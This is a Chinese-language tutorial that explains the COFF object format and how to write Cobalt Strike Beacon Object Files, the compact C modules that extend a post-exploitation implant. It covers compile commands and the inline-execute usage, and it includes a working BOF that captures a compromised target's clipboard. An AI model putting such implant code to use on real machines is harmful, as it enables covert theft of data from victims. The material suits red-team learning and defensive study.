What is COFF?
COFF – 通用对象文件格式(Common Object File Format),是一种很流行的对象文件格式(注意:这里“对象这个用词,这种格式不只用于目标文件,库文件、可执行文件也经常是这种格式)。我们编写的C++对象文件,先会被编译成为一个和文件同名且格式为obj的文件,然后链接器会将这些obj文件链接成Exe或者DLL这样的PE文件。这里的obj文件就是COFF格式的。其它的编译器,如GCC(GNU Compiler Collection)、ICL(Intel C/C++ Compiler)、VectorC,也使用这种格式的目标文件。不仅仅是C/C++,很多其它语言也使用这种格式的对象文件。统一格式的目标文件为混合语言编程带来了极大的方便。而且常见的对象文件格式还有OMF-对象模型文件(Object Module File)以及ELF-可执行及连接文件格式(Executable and Linking Format)。
更多查看:COFF文件格式
Beacon Object Files
官方定义:
A Beacon Object File (BOF) is a compiled C program, written to a convention that allows it to execute within a Beacon process and use internal Beacon APIs. BOFs are a way to rapidly extend the Beacon agent with new post-exploitation features.
- BOF实际上也是一个COF文件格式,BOF实际上是编译后的obj文件,并没有常规的进行后续的链接生成EXE或DLL所以好处就是体积小。
- 开发BOFs也很容易,只需要一个Win32 C Compiler 可以跨平台编译
- 对于Beacon,BOF只是一个位置无关的代码块,对于CS端,会解析然后作为一个链接器加载它的内容。
- CS无法与libc链接,可以使用其他代替
- BOF在目标的beacon中执行,如果写的BOF发生异常崩溃,那么这个beacon也会崩溃,所以务必要写好你的BOFs
How do I develop a BOF?
Easy. Open up a text editor and start writing a C program. Here's a Hello World BOF:
#include <windows.h> #include "beacon.h" void go(char * args, int alen) { BeaconPrintf(CALLBACK_OUTPUT, "Hello World: %s", args); }
Download beacon.h (you'll need it):
https://www.cobaltstrike.com/downloads/beacon.h
To compile this with Visual Studio:
cl.exe /c /GS- hello.c /Fohello.o
To compile this with x86 MinGW:
i686-w64-mingw32-gcc -c hello.c -o hello.o
To compile this with x64 MinGW:
x86_64-w64-mingw32-gcc -c hello.c -o hello.o
The above commands will produce a hello.o file. Use inline-execute in Beacon to run the BOF.
beacon> inline-execute /path/to/hello.o these are arguments
如果你想编写cna脚本方便调用BOF的话,CobaltStrike也提供了相应的Functions
更多查看:beacon_inline_execute
比如一个记录目标beacon上剪切板内容的示例程序:
#include <windows.h> #include <string.h> #include <winuser.h> #include "beacon.h" DECLSPEC_IMPORT HWND WINAPI KERNEL32$GetConsoleWindow(void); DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$OpenClipboard(HWND); DECLSPEC_IMPORT WINUSERAPI HANDLE WINAPI USER32$GetClipboardData(UINT); DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$CloseClipboard(void); void go() { HWND owner = KERNEL32$GetConsoleWindow(); USER32$OpenClipboard(owner); owner = USER32$GetClipboardData(CF_TEXT); BeaconPrintf(CALLBACK_OUTPUT, "%s\n", (char *)owner);; USER32$CloseClipboard(); }
可以发现和普通C程序不一样的地方,调用的WINAPI前需加$
以及Library名字,以及上面声明的时候,编写的时候可以先正常的编写并测试完成后,再修改为BOF程序,可以查看WINAPI的声明处,自己修改为这个格式,有很多你不知道是哪些Library的话就得查找资料,这里我推荐一个bof_helper
这个项目可以直接帮你查找相应的方法的头文件声明,并且转换为BOF编写需要的格式,所以直接可以复制结果到你的BOF程序中
https://github.com/dtmsecurity/bof_helper
比如:
python3 bof_helper.py DsGetDcNameA ██████╗ ██████╗ ███████╗ ██╔══██╗██╔═══██╗██╔════╝ ██████╔╝██║ ██║█████╗ ██╔══██╗██║ ██║██╔══╝ ██████╔╝╚██████╔╝██║ ╚═════╝ ╚═════╝ ╚═╝ BOF Helper by @dtmsecurity [Library] DsGetDcNameA is probably in NetApi32 [Declaration] DWORD WINAPI DsGetDcNameA(LPCSTR, LPCSTR, GUID*, LPCSTR, ULONG, PDOMAIN_CONTROLLER_INFOA*); [BOF Helper] DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPCSTR, LPCSTR, GUID*, LPCSTR, ULONG, PDOMAIN_CONTROLLER_INFOA*);
有了这个就可以开始编写自己的BOF了
下面这个项目给了很多官方示例
https://github.com/rvrsh3ll/BOF_Collection
执行方式:
使用inline-execute
执行记录剪切板
使用Aggressor Script提供的inline-execute
方法编写cna,直接命令加参数执行扫描端口BOF